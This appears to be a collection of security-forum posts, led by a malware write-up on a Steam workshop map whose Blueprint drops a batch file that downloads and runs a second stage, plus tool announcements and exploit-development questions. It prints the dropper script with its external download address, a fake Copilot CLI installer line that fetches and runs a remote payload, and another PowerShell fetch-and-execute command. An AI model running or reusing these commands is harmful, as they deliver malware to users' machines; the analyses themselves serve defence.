Full report is available at https://any.run/cybersecurity-blog/banana-rat-evolution-analysis/

The exposed server at 198[.]245[.]53[.]26 gave a rare opportunity to compare two related Banana RAT branches through live infrastructure, sandbox telemetry, and recovered payloads. The older branch used ETW-themed paths, static Microsoft-looking names, and a typo-based pseudo-Microsoft C2 identity. The newer branch kept the same staging concept but moved to randomized install identifiers, better-structured SYSTEM persistence, and a WebSocket channel built around a hashed testewin.com subdomain.

IoC:

• 198[.]245[.]53[.]26
• https://app.any.run/tasks/96796146-688f-4b12-894c-236dadab8413

Table of Contents

• Intro
• Initial Symptom
• First Look at the Workshop Files
• Verifying the Asset Files
• AssetRegistry.bin Reveals the First Clue
• Opening the UE5 Asset Container
• Reverse Engineering the Blueprint
• Extracting the Embedded Payload
• Analyzing the Dropper Script
• Confirming Execution on an Affected PC
• Did the Second Stage Execute?
• Analysis Summary
• Limitations & Unknowns
• IOCs
• Final verdict

A couple of my friends reported seeing a command prompt window briefly appear while Steam was downloading a custom workshop map. The map was being downloaded through the game's in-game lobby and, once the download completed it immediately began loading for the match. Since the command prompt window appeared during this transition, I decided to investigate the workshop files.

What I found was a seemingly ordinary workshop map that contained what appears to be a malware dropper, despite having passed workshop review.

I'm writing this up because, as far as I know, the map is still available, and because the techniques it uses to hide are worth understanding if you download workshop content. While there are still a few parts of the execution chain I can't fully explain, the artifacts themselves are interesting from a reverse engineering perspective.

https://preview.redd.it/nn7j9wf4q1fh1.png?width=1265&format=png&auto=webp&s=0276954f24bafc16cee6b2fc2569c12bedeaea51

1): The Initial Symptom

A black command prompt window flashed on screen for about a second before disappearing. It appeared while Steam was still downloading the workshop map, just as the game was transitioning into loading it for the match. There were no crashes, error messages, or any other unusual behavior. On its own, it would have been easy to dismiss as Steam running a background process, but seeing a console window appear during a workshop download / match launch was unusual enough that I decided to investigate.

2): First Look at the Workshop Files

The workshop content is located here:

Steam\steamapps\workshop\content\4704690\3765145606\ 

At first glance, there’s nothing suspicious in the folder. The contents are:

AssetRegistry.bin Preview.png Sample.vdf SampleMyUGCMecchaCModKit_Load-Windows.pak SampleMyUGCMecchaCModKit_Load-Windows.ucas SampleMyUGCMecchaCModKit_Load-Windows.utoc 

There are no executables, DLLs, batch files, or scripts. The .pak, .ucas, and .utoc files are simply the standard Unreal Engine 5 asset container format used for packaging game content exactly what you would expect to see from a UE5 map or mod.

This is worth emphasizing: if you were manually checking this folder for malware, there would be no obvious red flags here. Nothing in this directory suggests anything malicious. That is likely why it passed review in the first place.

3): Verifying the Asset Files

File extensions are easy to spoof, so I checked the actual file headers and scanned the contents for embedded executable data.

The results:

• utoc starts with -==--==--==--==-, which is the real IoStore magic
• pak has the correct 0x5A6F12E1 footer magic
• no MZ/PE, ELF or ZIP headers anywhere in any file

The files appear to be valid Unreal Engine asset containers, not disguised executables. There is no standalone executable payload present in this mod. If there is unexpected behavior, it would have to be occurring through the game’s normal asset-loading pipeline rather than from an included executable file.

4): AssetRegistry.bin Reveals the First Clue

This is the detail that stands out most from the entire investigation.

AssetRegistry.bin is largely readable metadata. You can open it in a text editor and see references to the actors placed throughout the maps. Normally, it contains exactly the kind of information you would expect: StaticMeshActor, PointLight, PlayerStart, and other standard Unreal Engine objects.

However, one Blueprint actor immediately stands out:

/Game/Mods/NewMap.NewMap:PersistentLevel.BP_RCE_Test_C_0 

Its class resolves as:

BP_AmbientController_C 

Those two names together are unusual. The class name suggests a harmless environmental or lighting-related system especially since it appears under folders such as Environment and Lighting. However, the placed actor still retains the older name BP_RCE_Test_C_0.

In Unreal Engine, this can happen because placed actors keep the name they were created with even if the Blueprint class is later renamed. Renaming the class does not automatically rename every existing instance placed in maps.

That means the BP_RCE_Test name likely existed at an earlier point in the asset’s history. Whether intentional or not, the old identifier remains embedded in the map metadata.

The same reference appears across three separate maps included in the workshop item, including a NewMap_Backup file that appears to have been left in the upload.

5): Opening the UE5 Asset Container

The Blueprint data is stored inside the Oodle-compressed .ucas container. Reading the accompanying .utoc metadata reveals:

chunks ............ 57 blocks ............ 131 (130 Oodle-compressed) flags ............. Compressed | Indexed 

No encryption flag is present, meaning the container can be inspected using available Unreal Engine asset tooling and compatible Oodle/Kraken decompression support. All 131 blocks decompress successfully, producing roughly 5.3 MB of extracted data.

The container contains 55 assets in total: materials, meshes, textures, four maps, and three Blueprints. Two of those Blueprints appear to be untouched sample assets from the official ModKit, containing no custom logic.

Searching across the extracted asset data revealed only a small number of notable references:

ReceiveBeginPlay ....... 1 ToFile ................. 1 GetPlatformUserDir ..... 1 powershell ............. 1 

These references are concentrated in a single Blueprint rather than being distributed throughout the package. There does not appear to be additional hidden logic elsewhere in the container, which makes the relevant behavior easier to isolate and analyze.

6): Reverse Engineering the Blueprint

The complete function chain is:

ReceiveBeginPlay ↓ GetPlatformUserDir ↓ Replace ↓ Concat_StrStr ↓ FromString (JSON) ↓ ToFile 

Despite the Blueprint being named like an environment or lighting system, the logic does not appear to perform any lighting, ambience, or world-management functions. Instead, it constructs a file path and writes data to disk.

Tracing the Blueprint bytecode shows the path construction:

dir = GetPlatformUserDir() // C:/Users/<user>/Documents/ path = dir + "s.bat" 

ReceiveBeginPlay is normally called when the map begins loading, which does not fully match the behavior reported by some users, who observed activity during the download process itself. That discrepancy is not explained by the Blueprint logic alone, so it is worth treating those reports separately from the behavior confirmed through asset analysis.

7): Extracting the Embedded Payload

A single embedded string inside the Blueprint contains the following data:

{"x\"&if not defined _Z (set _Z=1&start /min cmd /c %~f0&exit) else ( powershell -w hidden -ep bypass -c iwr http://31.57.34.228/work/steamb.bat -OutFile $env:TEMP\s.bat; cmd /c $env:TEMP\s.bat&exit)&\"x":"1"} 

The string is structured as a JSON/batch polyglot: it is valid JSON while also containing batch command syntax inside the JSON key. The command content is therefore preserved when written as JSON data, but can also be interpreted as a batch script if the resulting file is executed.

This format is significant because the earlier Blueprint analysis showed that the file-writing step uses ToFile, which writes JSON data. The embedded content appears designed to satisfy that JSON requirement while retaining executable command syntax.

The combination of a JSON-compatible wrapper and embedded command execution logic is not typical of normal Unreal Engine asset data and is a strong indicator that the content was deliberately constructed rather than being accidental or generated by the engine.

8): Analyzing the Dropper Script

The extracted script is also human-readable:

if not defined _Z ( set _Z=1 start /min cmd /c %~f0 exit ) else ( powershell -w hidden -ep bypass -c ^ iwr http://31.57.34.228/work/steamb.bat -OutFile $env:TEMP\s.bat cmd /c $env:TEMP\s.bat exit ) 

The script uses a simple two-stage execution flow.

On the first run, _Z is not defined, so the script sets the variable, launches a minimized copy of itself, and exits. This relaunch behavior explains the brief command window flash reported by some users. At this stage, the script is acting as a launcher rather than performing the main action.

On the second run, the _Z variable is already present, so the script follows the alternate branch. It starts PowerShell with a hidden window, modifies the execution policy for that process, downloads steamb.bat from a hardcoded external address, saves it to the temporary directory, and executes it.

The _Z check appears to exist solely to prevent the script from repeatedly relaunching itself.

The script itself is relatively simple: there is no evidence here of persistence mechanisms, privilege escalation, or sophisticated obfuscation. Its main purpose appears to be retrieving and executing a second-stage script. That second stage is hosted externally, meaning its contents can change independently of the original mod package.

9): Confirming Execution on an Affected PC

On one affected system, I found a file that was byte-for-byte identical to the payload string embedded in the Blueprint. It was located at the exact path identified during the bytecode analysis.

This confirms that the Blueprint logic was not just theoretical, the file-writing behavior observed during reverse engineering occurred on a real system.

https://preview.redd.it/hav7l33dq1fh1.png?width=2252&format=png&auto=webp&s=9fc74ff8ac7e3607889cb9a4f052d8d73e0f2f32

10): Did the second stage execute?

The second-stage file, %TEMP%\s.bat, was not present on the affected machine. The PowerShell Operational log explains why:

https://preview.redd.it/srmpq28pq1fh1.png?width=1577&format=png&auto=webp&s=6a2841345f423906fafaa570acd20d85636e3b70

The download request failed with an HTTP 404 response at the time of execution. Because the file was never successfully retrieved, nothing was written to disk and the following cmd /c command had no script to execute.

On this system, the second stage did not execute. The contents and behavior of the downloaded payload remain unknown because the external file was unavailable at the time of analysis.

The address embedded in the script resolves to 31.57.34.228. At the time of analysis, the IP address was geolocated to Amsterdam, Netherlands, and was associated with Blockchain Creek B.V. (ASN 207994).

This information identifies the hosting infrastructure used by the download URL, but it does not by itself identify the operator of the server or establish attribution. The important finding is that the Blueprint attempted to retrieve an additional payload from an external location, rather than containing the final payload entirely within the workshop files.

https://preview.redd.it/y1b4bj6sq1fh1.png?width=2546&format=png&auto=webp&s=141474bd203a7d6529591ae09487da2e35e58026

11): Analysis Summary

Based on the evidence recovered from the workshop item, this should be treated as malicious content. That conclusion does not rely on a single indicator; it comes from the combination of several independent findings:

• The Workshop uploader account appears to have been created only about one week before the item was published
• The Workshop map currently does not allow users to leave comments or ratings
• The only Blueprint containing custom logic was originally identified as BP_RCE_Test and later appeared under a name consistent with a harmless environment or lighting controller.
• The Blueprint executes automatically through ReceiveBeginPlay, rather than requiring an intentional user action inside the map.
• Its logic writes data outside the game directory into the user’s Documents folder, which is unrelated to normal map or asset behavior.
• The written content is a deliberately structured JSON/batch polyglot, allowing data written through a JSON-only function to retain executable batch syntax.
• That script launches hidden PowerShell, bypasses the local execution policy for the process, retrieves a second-stage file from a hardcoded external address, and attempts to execute it.

What remains unknown is the purpose of the final payload. The second-stage script was not successfully retrieved during analysis and was no longer available from the remote location, so its behavior cannot be determined. Claims that it was specifically an infostealer, loader, or another type of malware would be speculation without that payload.

12): Limitations & Unknowns

What does steamb.bat do?

Unknown. The second-stage payload was not delivered during analysis, so its final behavior cannot be determined from the available evidence.

IOCs

Workshop item 3765145606 "Laser Tag Neon" (appid 4704690) comments and ratings disabled on the listing uploader account roughly one week old Asset BP_AmbientController.uasset (originally BP_RCE_Test_C_0) Dropped file %USERPROFILE%\Documents\s.bat C2 http://31.57.34.228/work/steamb.bat Second stage steamb.bat (never delivered, contents unknown) Asset build 2026-06-09 22:37:14 s.bat 210 bytes sha256 1ff540bc3c493a93059e602b414ba61027ed1a2b8a079f6197b0718f4a2101b6 md5 04d6dfadd5248c995951707e27520ade container utoc aea429fbb44d552c917c22018e838e4154e68a8cac5806f7a8e30b61586ba2a6 ucas fbd932faba4ec8d614fbd7a68636e177213259bafe2babdcdc47c2a8acd6d569 pak aa58f9061a4e39e3f5a28395c56cfa5b0072d90e66054894f9c8022e81e396c9 

Final Verdict

Based on everything I found, I believe this workshop item is very likely malicious, but there are still parts of the execution chain I couldn't directly observe.

What I can say with confidence is that the asset contains a Blueprint whose only meaningful purpose is to write a batch file outside the game's directory into the user's Documents folder. That batch file then attempts to launch PowerShell with the execution policy bypassed, download a second batch file from a hard-coded external server, and execute it.

I can't think of a legitimate reason for a Steam workshop map to write a .bat file into a user's Documents folder and then use PowerShell to fetch and run another .bat file from the Internet. Even without knowing what the second stage contained, that behavior is extremely difficult to explain as anything other than a malware delivery chain.

Could there be some edge case I'm missing? Absolutely. That's why I've tried to separate facts from assumptions throughout this write-up. But given the evidence recovered from the assets themselves, I think calling this a malicious dropper is the conclusion best supported by the data

Further independent investigation is encouraged, particularly if additional evidence becomes available. For now, the workshop item and the uploader have been reported and flagged for review.

Cheers and stay safe!

FeintBe

What would the below comment have ran?

cmdline: "C:\Windows\system32\WindowsPowerShel\v1[.J0\PowerShell[.Jexe" -c iexirm delistemanallyl.Jrainbow-mel.Jonline?
read=8b2d80c7569e4151 -UseBasicParsing)

Check out @ https://github.com/DarkAngel-0x0/pwntemplate
Feedbacks welcomed

The vulnerability allows non-privileged users to program the DMA controller, enabling arbitrary physical memory reads and writes.

Hello everyone!

I want to share a small Python script I wrote. It is inspired by the exploit 46635 on Exploit-DB for CVE-2019-9053 (a time-based SQL Injection in CMS Made Simple).

I decided to write my own version when I was doing the SimpleCTF room on TryHackMe. I wanted to update the code to Python 3. I also wanted to make this new version more interactive and easy to use. So, I added a clean command line interface and some extra features (like different extraction modes, delay controls, and email alerts using environment variables).

Please try it and tell me what you think! I would love to hear your feedback and ideas to make it better.

https://github.com/rgkue/mysqli

Happy hacking! :D

Hi

I started pwning from a year from pwn college, some THM, and I was quite good. In this month, I started getting into the real world. I find bugs, crashes, report, and wait for CVEs. But the problem for me is I can't exploit them. I can exploit the same bug in a CTF chall, but in the real world I can't, because of the stability, how large the target is, making me have the exploit just in my mind. And this is especially in kernel. When I was trying to re-exploit an old CVE using a different way, I get hit with the internals, nf_tables, TCP, and network. Those are complex. My feer is the internals and large targets. Did anyone pass with this and find a solve?

I’ve been doing some vulnerability research on a known CVE (CVE-2025-60690) on a consumer Linksys router and wanted to share the workflow I used to investigate it.

The process started by targeting the physical hardware: identifying the UART pads on the board using a digital multimeter to access the Linux-based shell console. From there, I extracted the vulnerable binary (from the CVE description), and reversed it in Ghidra. Next, I used a gdb+gdbserver setup to perform dynamic analysis to investigate the memory behaviors.

I managed to successfully achieve RCE from the stack-based buffer overflow vulnerability to land a root shell. The exploit PoC for CVE-2025-60690 just got cited on the official CVE page and exploit-db.com.

I just started a YouTube channel dedicated to breaking down IoT hacking concepts. Also, I’ve compiled my step-by-step research notes in a reference doc. If you're working on similar hardware research and want a copy of the notes, drop a comment or shoot me a DM and I'll gladly send them over!

USB-UART connection to Raspberry Pi

Testing UART pads with digital multimeter

Testing buffer overflow behavior (gdb+gdbserver setup)

If you're looking for an exploit development tutorial for absolute beginners this week we're looking at what I would consider just that! This week we look at the "random" binary exploitation challenge hosted on pwnable[.]kr.

This is a great beginner tutorial since we exploit a flaw that is "easy" and unfortunately, still very real within some enterprise environments. It also helps you understand that no number is truly random.

The crazy part? We don't even drop into a debugger in this tutorial.

Be the end of this tutorial you should have:

- Learned about random number generation in C
- Learned about XOR operations
- Finding header files that contain dependencies using man pages
- Dissecting C source code

You can find the video here:

https://youtu.be/jDlMFC4etrs?si=akuTx1KTkCxE5Ndo

Hello everyone,

I wanted to post in here to see if anyone would consider being a mentor. I want to break into malware dev and vulnerability research however since this is such a niche job community, it’s hard to find someone who has professional experience in the field. I would love to talk with anyone who has prior experience in the field and wouldn’t mind giving me some guidance. Thank you guys!

Hi I'm trying to pentest a banking app and the most difficult Bypass so far is USB Debugging. Without bypassing that I don't know how to Bypass SSL pinning with Frida. Is there any way to do this?

Thank you!

Hi guys just wondering should I have knowledge python and C before I start the pwn paths for cybersecurity?

I have got 2 files and I need to find a vulnerability and exploit it. So I need some help regarding it.

I would be happy if you provided me with a debugging interface. AI-generated submissions are not allowed.

if you want report buffer overflow vulnerability do u need full chain to exploit or just report the crash with the corpus

So, he's selling access to the "upcoming" official API. I didn't want to provide my mobile number to sign up, and the huge number of ads was pissing me off, so I dug around and found the API, which they're claiming doesn't exist:

(source: https://s3.amazonaws.com/b2icontent.irpass.cc/2660/rl168199.pdf )

I had a feeling that there would be something to find if I kept digging. I found the Trump Mobile leak, and in comparison, finding this was easy!

A few examples:

Trump's: https://truthsocial.com/api/v1/accounts/107780257626128497/statuses?exclude_replies=true

White house's: https://truthsocial.com/api/v1/accounts/113686491998750334/statuses?exclude_replies=true

The Trump Organization: https://truthsocial.com/api/v1/accounts/108126733623665147/statuses?exclude_replies=true

I've already tipped off a few contacts at news outlets and a couple YouTubers in case anyone wants to look into it further and figured I want to spread word as much as possible, so here we are.

Here's a Tampermonkey Userscript to add a button to all profiles which auto finds the account ID and copies the API URL for that account:

// ==UserScript== // Truth Social API URL Copy Button // trump-truth-site // 2.0 // Adds a button above the media grid on Truth Social profile pages that copies the statuses API URL for that account // UnusualTardigrade // https://truthsocial.com/@* // none // document-idle // ==/UserScript== (function () { 'use strict'; console.log('[TS API Button] userscript loaded'); const BUTTON_ID = 'ts-api-copy-btn'; // The media grid on a profile page. Button is inserted just above it. const GRID_SELECTOR = '.grid.grid-cols-3.gap-1.rounded-lg'; let lastUsername = null; let currentAccountId = null; let buttonEl = null; function getUsernameFromUrl() { const m = location.pathname.match(/^\/@([^/]+)/); return m ? m[1] : null; } function buildStatusesUrl(id) { return `https://truthsocial.com/api/v1/accounts/${id}/statuses?exclude_replies=true`; } function ensureButton() { if (buttonEl) return buttonEl; const btn = document.createElement('button'); btn.id = BUTTON_ID; btn.textContent = 'Copy API URL'; Object.assign(btn.style, { display: 'block', width: '100%', boxSizing: 'border-box', margin: '0 0 8px 0', padding: '10px 16px', background: '#ff4d4d', color: '#fff', border: 'none', borderRadius: '8px', fontSize: '14px', fontWeight: '600', fontFamily: 'system-ui, sans-serif', cursor: 'pointer', boxShadow: '0 1px 3px rgba(0,0,0,0.2)', opacity: '0.95', transition: 'opacity 0.15s, background 0.15s', }); btn.disabled = true; btn.addEventListener('mouseenter', () => { if (!btn.disabled) btn.style.opacity = '1'; }); btn.addEventListener('mouseleave', () => { if (!btn.disabled) btn.style.opacity = '0.85'; }); btn.addEventListener('click', async () => { if (!currentAccountId) return; const url = buildStatusesUrl(currentAccountId); try { await navigator.clipboard.writeText(url); flashButton(btn, 'Copied!', '#2ecc71'); } catch (e) { // Fallback for contexts where clipboard API is blocked const ta = document.createElement('textarea'); ta.value = url; ta.style.position = 'fixed'; ta.style.opacity = '0'; document.body.appendChild(ta); ta.select(); document.execCommand('copy'); document.body.removeChild(ta); flashButton(btn, 'Copied!', '#2ecc71'); } }); buttonEl = btn; return btn; } function applyInlineStyle(btn) { Object.assign(btn.style, { position: 'static', top: '', right: '', bottom: '', left: '', zIndex: '', display: 'block', width: '100%', margin: '0 0 8px 0', borderRadius: '8px', boxShadow: '0 1px 3px rgba(0,0,0,0.2)', }); } function applyFixedStyle(btn) { Object.assign(btn.style, { position: 'fixed', top: '80px', right: '24px', left: '', bottom: '', zIndex: '2147483647', display: 'block', width: 'auto', margin: '0', borderRadius: '999px', boxShadow: '0 2px 8px rgba(0,0,0,0.3)', }); } function placeButton(btn) { const grid = document.querySelector(GRID_SELECTOR); if (grid) { const wrapper = grid.parentElement || grid; if (wrapper.previousElementSibling !== btn) { applyInlineStyle(btn); wrapper.parentNode.insertBefore(btn, wrapper); } return; } if (btn.parentElement !== document.body) { applyFixedStyle(btn); document.body.appendChild(btn); } } function flashButton(btn, text, color) { const prevText = btn.textContent; const prevBg = btn.style.background; btn.textContent = text; btn.style.background = color; setTimeout(() => { btn.textContent = prevText; btn.style.background = prevBg; }, 1200); } function setButtonState(btn, { loading, id, username }) { if (loading) { btn.disabled = true; btn.style.opacity = '0.5'; btn.textContent = 'Loading ID…'; } else if (id) { btn.disabled = false; btn.style.opacity = '0.85'; btn.style.background = '#ff4d4d'; btn.textContent = `Copy API URL (@${username})`; } else { btn.disabled = true; btn.style.opacity = '0.5'; btn.textContent = 'No account found'; } } function fetchAccountId(username) { const btn = ensureButton(); setButtonState(btn, { loading: true }); currentAccountId = null; fetch(`https://truthsocial.com/api/v1/accounts/lookup?acct=${encodeURIComponent(username)}`, { credentials: 'include', }) .then((res) => (res.ok ? res.json() : Promise.reject(res.status))) .then((data) => { if (getUsernameFromUrl() !== username) return; currentAccountId = data.id; setButtonState(btn, { loading: false, id: data.id, username: data.username }); }) .catch(() => { if (getUsernameFromUrl() !== username) return; setButtonState(btn, { loading: false, id: null }); }); } function checkForUsernameChange() { const username = getUsernameFromUrl(); if (!username) { if (buttonEl) buttonEl.remove(); lastUsername = null; return; } if (username !== lastUsername) { lastUsername = username; fetchAccountId(username); } } function tick() { checkForUsernameChange(); if (buttonEl && getUsernameFromUrl()) placeButton(buttonEl); } const origPushState = history.pushState; const origReplaceState = history.replaceState; history.pushState = function (...args) { origPushState.apply(this, args); setTimeout(tick, 0); }; history.replaceState = function (...args) { origReplaceState.apply(this, args); setTimeout(tick, 0); }; window.addEventListener('popstate', () => setTimeout(tick, 0)); setInterval(tick, 1000); tick(); })(); 

The data downloaded as JSON:

https://preview.redd.it/xpg5ok01rgeh1.png?width=2017&format=png&auto=webp&s=a9ef57711b0046501c36ad2b3dec16792896f9e2

I think that's all. Any questions, lemme know! Enjoy

I have already used memory dumps and runtime hooks, injecting a trace script directly into the start-up routing of the malware payload but that only captures the components that I am looking out for. Suggestions to get the entire thing decrypted back to .pyc. i can take it from there.

Anyone have contacts to Devs who make cheats for games.

I want to analyse npm packages that are malicious. How do I get those old packages? They are all taken down. And webarchive doesn’t have it.

The following website is mimicking the official Github copilot CLI website.

https://copilotcli[.]co[.]com/

The install script first downloads and executes a malicious payload before continuing installing the legit copilot CLI

$GhCop = New-Object -ComObject "Shell.Application"; $GhCop.ShellExecute("powershell", '"irm refract3.com | iex"', $null, "open", 0); winget install GitHub.Copilot

Luckily windows security blocked the payload which was detected as Trojan:Win32/ClickFix.Q!ml

Hello everyone,

A few months ago I shared my open database of malicious browser extensions. I'm happy to say it has now grown to **over 500 malicious CRX samples**.

It started as a small research project, but it's continued to grow as I discover and collect more malicious extensions. My goal is to make it a useful resource for researchers, students, and anyone interested in browser extension security.

One thing I'm working on next is making the data easier to consume in other tools. At the moment I'm considering exposing it in formats such as:

* JSON
* CSV

I'm also thinking about adding things like an API or threat-intelligence style feeds if people think they'd be useful.

I'd love to hear your thoughts:

* What format would you actually use?
* Are there any security tools or platforms you'd like to integrate it with?
* Is there any metadata you'd find useful that I'm currently missing?

Repository:
[https://github.com/GherardoFiori/MaliciousBrowserExtensions\](https://github.com/GherardoFiori/MaliciousBrowserExtensions?utm\_source=chatgpt.com)

**Please remember these are live malicious browser extensions. Handle them with care.**

Project:
[https://exterminai.com/\](https://exterminai.com/)

Any feedback is appreciated. Thanks!

Hey all,

We are building an autonomous malware analysis and reverse-engineering AI agent for security teams.

https://www.embusa.ai/

The idea came from a recurring problem: when a suspicious file appears during an incident, we lack the time and sometimes the expertise to determine what it does, what it affected, and what we should do next.

We are looking for feedback:

A closed alpha will run very soon™, if you are interested to test it yourself, registrations are open.

We also wrote a blog post showcasing the agent's abilities when we submit an unknown DLL and nothing else: https://www.embusa.ai/blog/embusa-analyst-takes-apart-a-live-backdoor-in-six-minutes-forty-five-seconds

We'd love to hear your thoughts!

hi,

I've been triaging suspicious packages long enough to get tired of stitching the same five tabs together every time something weird shows up in a dependency tree, so I built this to keep it all in one place: https://trail.snappyfeet.org

I use it daily and figured I'd share. It's not something that tells you whether something is malicious or not, that's not the philosophy. It rather focuses on raising flags for humans to then take a look into. Feed's live most of the time, I take it down occasionally to update the engine. If there's a package you want to see that isn't in there or would like to understand how the engine works, DM me.

Cheers

I would like to share my Linux Syscall Monitor project with you. It's a Linux process monitoring tool written in C that uses "ptrace" to observe system calls and generate behavioral reports.

I welcome any feedback or criticism—whether it's about the code .repo

I built an open-source MCP server for Microsoft Patch Tuesday that lets AI assistants like Claude, Copilot, ChatGPT, and more answer patch questions directly from official MSRC data.

Every Patch Tuesday, security teams ask the same questions: what changed, what affects us, what is being exploited, and what needs to be patched first?

Ask things like:

“Summarize this month’s Patch Tuesday”

“Which of these CVEs are on the CISA KEV list?”

“Show me CVEs with an exploitation probability above 50%”

“What older patches does KB5094123 replace?”

“What Critical CVEs hit Windows Server 2022 this month?”

What makes it different: most vulnerability tools can look up a CVE, but they have no concept of a monthly Microsoft release, a KB article, or a product family.

This server parses the full MSRC CVRF documents, so it can answer the questions Microsoft shops actually ask on the second Tuesday of every month.

It is built around the data sources teams already trust:

• Official MSRC Security Update Guide API: Microsoft’s source for Security Update Guide and CVRF data
• EPSS scores from FIRST.org: daily-updated probability each CVE gets exploited in the next 30 days
• CISA KEV integration: confirmed-exploited CVEs with federal remediation due dates
• Supersedence chains: walks Microsoft’s “this KB replaces that KB” links so your assistant never recommends a stale patch
• Results ranked by real-world urgency: KEV/exploited → EPSS → severity → CVSS

Zero API keys, zero accounts: everything comes from public MSRC, FIRST.org, and CISA feeds. Run it locally or remotely. Details below:

Repo: https://github.com/jonnybottles/patch-tuesday-mcp

Remote MCP server endpoint:
https://patch-tuesday-mcp.happyrock-b60185ec.eastus.azurecontainerapps.io/mcp

If you triage Microsoft updates frequently, I’d love feedback. If there’s a feature you’d use, open an issue.

Disclaimer: This is an independent, self-built project and is not an official Microsoft tool or service.

#PatchTuesday #CyberSecurity #VulnerabilityManagement #MCP #AI #Claude #Microsoft #MSRC #OpenSource #InfoSec

https://store.steampowered.com/app/4314010/Command_by_Voice_World_Conquest/

I downloaded this booted it and it said it was looking for steam wallet info as a hint prompt on the bottom and shortly after booted up a tcg_server.exe ofcourse i prompted on "No" and uninstalled shortly after then a deepseek on the community tab opened up on steam and was stuck?

Anyone out there with experience if this is actual malware and if i should be concerned or worried?

I wanted a Windows-friendly alternative to tools such as Binwalk and UniExtract, focused on identifying unknown files and automatically choosing the appropriate extraction method.

That idea eventually became Magic Extractor, an open-source utility intended to help with static triage and the initial unpacking of suspicious samples.

It can be useful for:

• Identifying files whose extension is missing or misleading
• Unpacking installers, SFX archives and uncommon compression formats
• Extracting nested archives recursively
• Listing contents without extraction
• Carving archives and payloads embedded at arbitrary offsets
• Trying multiple handlers when detection is ambiguous

Detection combines PureMagic, custom magic signatures, Detect It Easy, Binwalk and Magika. The detected type is then routed to the appropriate bundled extractor.

Example:

magic-extractor identify suspicious.bin

magic-extractor extract suspicious.bin --recursive

magic-extractor carve firmware.bin --list

It currently supports more than 80 formats, including archives, installers, disk images, forensic images and embedded content.

This is not a malware detector, sandbox or replacement for dynamic analysis. It is mainly intended as a supporting tool for file identification, unpacking and static analysis workflows.

GitHub:

https://github.com/xchwarze/magic-extractor

Feedback from malware analysts and reverse engineers would be especially useful, particularly regarding formats, packers or installers that are currently difficult to extract.

As always, suspicious files should only be handled inside an isolated analysis environment.

Dear all,

I am a PhD student with a solid background in Linux binary exploitation, including both user-mode and kernel mode. My research interest lies in binary exploitation, and I am trying hard to increase my knowledge in this area.

My goal is to write peer-reviewed research papers on binary exploitation. But right now, I am not sure about how to find interesting areas of research, how to find research gaps, and what methodology I can follow for research in binary exploitation.

Any suggestions on how do experienced researchers come up with new research questions, perform literature review, and choose research directions on vulnerability research and binary exploitation will be much appreciated!

Thanks!

Hello, i am wondering if i should study cs or computer engineering and which would be more helpful for me in the long run. Ive been studying on pwn college and i am at the blue belt module rn, soon i want to start doing sec research on the linux kernel and ik that i qould need to study on my own for the most part but i would also have to get into uni as well. For cs in the universities in my country i dont see operating systems in the programs and mainly see stuff about web dev, learning 5 diff languages and doing databases, and in the other side for computer engineering would be more of how to build a cpu and working with resistors and studying physics. I am not really sure which kne to choose.

I'm not sure if anybody else has noticed this, but when I decompiling .NET binaries and look into a function in DNSPY and set a breakpoint on the return instruction and then step one instruction once the breakpoint is hit. Instead of returning me to where the function was called, it returns me to some internal function. This doesn't just happen with one function, this happens to multiple. How does this happen?

Hey everyone,I recently started learning reverse engineering and binary exploitation. Right now, I am studying through the CS365 modules on pwn.college, I currently have a lot of free time and want to make the most of it. Besides working through pwn.college, what other resources, topics, or skills would you recommend learning alongside it?

I have a local copy of a large enterprise Java application
(a .ear archive containing multiple .jar files, thousands
of .class files). I need to understand how a specific
part of the business logic works by reading the decompiled
source.

What's the best modern approach/toolchain for this in 2026?

- Which decompiler gives the most readable output for
large/complex codebases? (I've heard of JADX, Vineflower,
CFR, Procyon — which would you recommend?)
- Any good way to navigate and trace call flows across
thousands of classes once decompiled?
- Tips for dealing with obfuscated or hard-to-read
decompiled sections?

I have legitimate access to the software (it's for
interoperability analysis). Just looking for the most
efficient workflow. Thanks!

I have a local copy of a large enterprise Java application
(a .ear archive containing multiple .jar files, thousands
of .class files). I need to understand how a specific
part of the business logic works by reading the decompiled
source.

What's the best modern approach/toolchain for this in 2026?

- Which decompiler gives the most readable output for
large/complex codebases? (I've heard of JADX, Vineflower,
CFR, Procyon — which would you recommend?)
- Any good way to navigate and trace call flows across
thousands of classes once decompiled?
- Tips for dealing with obfuscated or hard-to-read
decompiled sections?

I have legitimate access to the software (it's for
interoperability analysis). Just looking for the most
efficient workflow. Thanks!

i want to know any good material to learn heap pwn. i am an osce3 which familiar with stack on windows and unix a few years.

and also spent a year on heap, can do general heap pwn technique like uaf, double free, off by one, chunk faking, unlink, heap fengshui etc. i need to do more practices on heap and get more experiences on the houses. any good resources?

Is offsec Exp-301 worth the investment? What is the future career path for exploit development?

So, I will divide the question in two parts:

1. For exploitation via web if chip designers adds certain tag bits to incoming requests that's whatever coming via web or network stack we assign a certain tag say 01 for now. Next if anyone trying to execute XSS and locate where change is occurring by the tag bits, whether if the requests are for persistent or its generating or modifying code. Then identification of sending unrelated data to the site can we omit the whole processes just by introducing tag bits to the antenna protocols? That is just building the chip with some more bits.

2. That was for web say the app is in computer, then it would first ask for the app wants to change some parts of OS. Instead we just do some basic prevention method number 1 not let writing in the particular section of memory that is hard disc, next switch off means switch off no background running. Number 3 the apps which are not built in just remove there maintain connection after every switch on. Only let the system files to maintain connection which again have unique tag bits to maintain.

Third and last one why not we make a graph behind which processes writing to which files and which process is sending system data in intervals? This can solve two things one if distributed writing in buffer is done it could be found out. Another if sending just on the flow no storage then graph would check the path of pattern of sending and block. Though if someone sends to other server and those servers later merge them i do not how to stop that.

Lastly just beginner in this spot the curious mind is asking questions would like to know in details please.

I am learning reverse engineering on Windows applications such as Adobe, Foxit PDF, and Steam, and I noticed that I waste a very large amount of time trying to understand something that I should not focus on.

I started noticing strange and confusing patterns in the assembly and the C code generated by IDA, and when I try to understand some functions, I feel that the function has no meaning.

When I searched, I found that this topic is related to the compiler and compiler optimizations. However, I could not find many articles or discussions about the compiler topic in reverse engineering.

So I started experimenting and trying, but every time I fail and cannot reach a solution or understanding.

Apart from the fact that reverse engineering a C++ program is already a difficult task.

If there is someone who has faced the same problem and found a solution, I would like to know. It is not a problem itself; it is a pattern or a way of thinking used by the compiler. I need to understand how the compiler generates these patterns.

I want someone to suggest books, articles, courses, or anything that can help me understand the MSVC compiler, how it generates patterns, and how to understand the behavior and logic of a function after compiler optimization.

I hope I explained my question correctly.

i need to learn radare2 form scratch..! to play with memory address and make it leak..! but i cant able to give the correct road map to learn that its confusing..help me with that...

